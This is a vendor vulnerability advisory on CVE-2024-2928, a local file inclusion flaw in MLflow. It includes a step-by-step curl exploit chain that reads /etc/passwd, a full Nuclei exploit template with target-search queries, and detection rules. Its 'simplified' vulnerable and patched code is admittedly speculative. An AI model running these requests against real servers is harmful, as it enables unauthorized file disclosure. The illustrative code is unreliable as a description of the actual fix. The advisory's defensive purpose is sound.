CVE-2024-2928
Executive Summary
CVE-2024-2928 is a high-severity Local File Inclusion (LFI) vulnerability in MLflow, an open-source platform for the machine learning lifecycle. The flaw resides in improper validation of URI fragments, allowing an attacker to bypass a previous patch that only addressed directory traversal in query strings. By crafting a malicious URI fragment containing ../ sequences, an unauthenticated attacker can read arbitrary files from the server's filesystem, such as /etc/passwd. The vulnerability affects versions prior to 2.11.3 and has a CVSS score of 7.5. A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation is straightforward, making this a critical risk for unpatched deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MLflow is distributed as a Python package via PyPI (mlflow). Organizations using MLflow in their ML pipelines should verify their installed version and update to 2.11.3 or later. The vulnerability does not directly affect the supply chain integrity of the package itself, but unpatched instances expose sensitive data and can lead to further compromise.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is remotely exploitable without authentication, has a low attack complexity, and a public PoC is available. Successful exploitation leads to unauthorized disclosure of sensitive files.
Deep Dive & Mechanics
The vulnerability is a Local File Inclusion (LFI) that stems from improper sanitization of URI fragments. MLflow's previous patch (for a similar issue) only validated the query string portion of a URI. However, the fragment part (the part after #) was not checked for directory traversal sequences like ../.
Attack Flow:
- An attacker sends a crafted POST request to
/ajax-api/2.0/mlflow/experiments/createwith anartifact_locationparameter containing a malicious URI fragment:http:///#/../../../../../../etc/. - This creates an experiment with an artifact location that points to the
/etc/directory on the server. - The attacker then creates a run under that experiment, registers a model, and creates a model version with a
sourcepointing tofile:///etc/. - Finally, a GET request to
/model-versions/get-artifact?path=passwd&name=<model_name>&version=1retrieves the/etc/passwdfile.
The core issue is that the fragment is not URL-decoded or validated for path traversal before being used in file operations. The server treats the fragment as a valid path component, allowing the attacker to escape the intended artifact storage directory.
Vulnerable vs. Patched Code
Vulnerable Code (Version < 2.11.3): The vulnerable code likely resides in the artifact path resolution logic. A simplified example:
# Vulnerable: does not sanitize fragment
def resolve_artifact_path(uri):
# Only checks query string
if '..' in uri.query:
raise ValueError("Invalid path")
# Fragment is not checked
return os.path.join(ARTIFACT_DIR, uri.fragment)
Patched Code (Version >= 2.11.3): The patch adds validation for the fragment component:
# Patched: sanitizes all URI components
def resolve_artifact_path(uri):
# Check all parts for traversal
for part in [uri.path, uri.query, uri.fragment]:
if '..' in part:
raise ValueError("Invalid path")
return os.path.join(ARTIFACT_DIR, uri.fragment)
The exact patch details are not publicly available, but the fix ensures that all URI components (path, query, fragment) are validated for directory traversal sequences.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running MLflow < 2.11.3
- Network access to the MLflow API endpoints
Exploitation Steps:
- Create an experiment with a malicious artifact location:
curl -X POST http://target:5000/ajax-api/2.0/mlflow/experiments/create \
-H "Content-Type: application/json" \
-d '{"name": "exploit_exp", "artifact_location": "http:///#/../../../../../../etc/"}'
- Extract the
experiment_idfrom the response. - Create a run under that experiment:
curl -X POST http://target:5000/api/2.0/mlflow/runs/create \
-H "Content-Type: application/json" \
-d '{"experiment_id": "<EXPERIMENT_ID>"}'
- Extract the
run_idfrom the response. - Register a model:
curl -X POST http://target:5000/ajax-api/2.0/mlflow/registered-models/create \
-H "Content-Type: application/json" \
-d '{"name": "exploit_model"}'
- Create a model version pointing to the target file:
curl -X POST http://target:5000/ajax-api/2.0/mlflow/model-versions/create \
-H "Content-Type: application/json" \
-d '{"name": "exploit_model", "run_id": "<RUN_ID>", "source": "file:///etc/"}'
- Retrieve the file:
curl -X GET "http://target:5000/model-versions/get-artifact?path=passwd&name=exploit_model&version=1" -O
Expected Output: The /etc/passwd file will be downloaded.
Blue Team
Detection:
- Monitor for POST requests to
/ajax-api/2.0/mlflow/experiments/createwithartifact_locationcontaining#/../patterns. - Monitor for GET requests to
/model-versions/get-artifactwithpathparameters containing sensitive file names (e.g.,passwd,shadow,config). - Alert on multiple rapid API calls that follow the pattern: experiment creation → run creation → model registration → model version creation → artifact retrieval.
Hunting:
- Search logs for URIs containing
#/../orfile:///in thesourceparameter of model version creation requests. - Look for anomalies in artifact paths that deviate from expected patterns (e.g., paths starting with
/etc/,/proc/,/var/).
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/ajax-api/2.0/mlflow/experiments/createwithartifact_locationcontaining#/../orfile:///. - GET requests to
/model-versions/get-artifactwithpath=passwdor other sensitive file names. - Sequential API calls: experiment creation → run creation → model registration → model version creation → artifact retrieval within a short time window.
- POST requests to
File System IOCs:
- Unexpected files in the MLflow artifact storage directory (e.g., copies of
/etc/passwd). - Artifact directories with names suggesting traversal (e.g.,
..in path components).
- Unexpected files in the MLflow artifact storage directory (e.g., copies of
Log IOCs:
- Error logs indicating failed path validation attempts (if logging is enabled).
- Access logs showing unusual URI fragments.
Detection Engineering
YARA Rule
rule CVE_2024_2928_MLflow_LFI {
meta:
description = "Detects exploitation attempts of CVE-2024-2928 in MLflow logs"
author = "Valters IT"
date = "2024-10-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2928"
severity = "high"
strings:
$s1 = "/ajax-api/2.0/mlflow/experiments/create" ascii wide nocase
$s2 = "artifact_location" ascii wide nocase
$s3 = "#/../" ascii wide nocase
$s4 = "file:///" ascii wide nocase
$s5 = "/model-versions/get-artifact" ascii wide nocase
$s6 = "path=passwd" ascii wide nocase
condition:
(($s1 and $s2 and $s3) or ($s4 and $s5 and $s6))
}
Sigma Rule
title: MLflow CVE-2024-2928 LFI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-2928 in MLflow logs
author: Valters IT
date: 2024-10-27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2928
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection1:
cs-method: 'POST'
cs-uri-stem: '/ajax-api/2.0/mlflow/experiments/create'
cs-uri-query|contains: 'artifact_location'
cs-uri-query|contains: '#/../'
selection2:
cs-method: 'GET'
cs-uri-stem: '/model-versions/get-artifact'
cs-uri-query|contains: 'path=passwd'
condition: selection1 or selection2
falsepositives:
- Legitimate use of artifact locations with similar patterns (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2928 MLflow LFI Exploitation Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/ajax-api/2.0/mlflow/experiments/create"; http_uri;
content:"artifact_location"; http_client_body;
content:"#/../"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-2928;
priority:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2928 MLflow LFI Exploitation Attempt (Artifact Retrieval)";
flow:to_server,established;
content:"GET"; http_method;
content:"/model-versions/get-artifact"; http_uri;
content:"path=passwd"; http_uri;
sid:1000002;
rev:1;
reference:cve,2024-2928;
priority:1;
)
Nuclei Template (Provided)
id: CVE-2024-2928
info:
name: MLflow < 2.11.3 - Path Traversal
author: jyjyjy25,gy741,oriing,ANseunghyeon,woo4826
severity: high
description: |
MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.
impact: |
Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.
remediation: |
Upgrade MLflow to version 2.11.3 or later to mitigate this issue.
reference:
- https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298
- https://nvd.nist.gov/vuln/detail/CVE-2024-2928
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-2928
cwe-id: CWE-29
epss-score: 0.9165
epss-percentile: 0.99683
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: lfprojects
product: mlflow
shodan-query: "http.title:\"mlflow\""
fofa-query:
- title="mlflow"
- app="mlflow"
google-query: intitle:"mlflow"
tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{randstr}}", "artifact_location": "http:\/\/\/#\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/"}
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id": "{{EXPERIMENT_ID}}"}
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}
- |
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_5
regex:
- "root:.*:0:0:"
- type: word
part: header_5
words:
- "filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
extractors:
- type: json
part: body_1
name: EXPERIMENT_ID
group: 1
json:
- '.experiment_id'
internal: true
- type: json
part: body_2
name: RUN_ID
group: 1
json:
- '.run.info.run_id'
internal: true
# digest: 490a004630440220221b144e458a9bdcaa34dc373f86e15d7abc96ef1f0d0d5f8867e024776f6168022067c6565edf3e04689c8e3bb9d00276c31ecf24f36f2d63ee89e63e2d8080a8ab:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade MLflow to version 2.11.3 or later. This is the only complete fix.
- If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests containing
#/../in theartifact_locationparameter orfile:///in thesourceparameter. - Restrict network access to the MLflow API endpoints to trusted IPs only.
Long-Term Mitigations:
- Implement input validation for all URI components (path, query, fragment) in custom code.
- Use a reverse proxy (e.g., Nginx, Apache) to filter malicious patterns before they reach the MLflow application.
- Regularly audit MLflow instances for unusual artifact paths or file access patterns.
- Monitor for new CVEs and apply patches promptly.
Configuration Hardening:
- Run MLflow with minimal file system permissions. The service account should only have read access to the artifact storage directory.
- Use a dedicated, isolated storage backend (e.g., S3 with restricted bucket policies) instead of local file system storage.
- Enable logging and monitoring for all API requests to detect exploitation attempts.
Valters IT
Securing Your Digital Infrastructure
{/* [Security Hash: CF4F34888BAE03AD2825F8A2] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.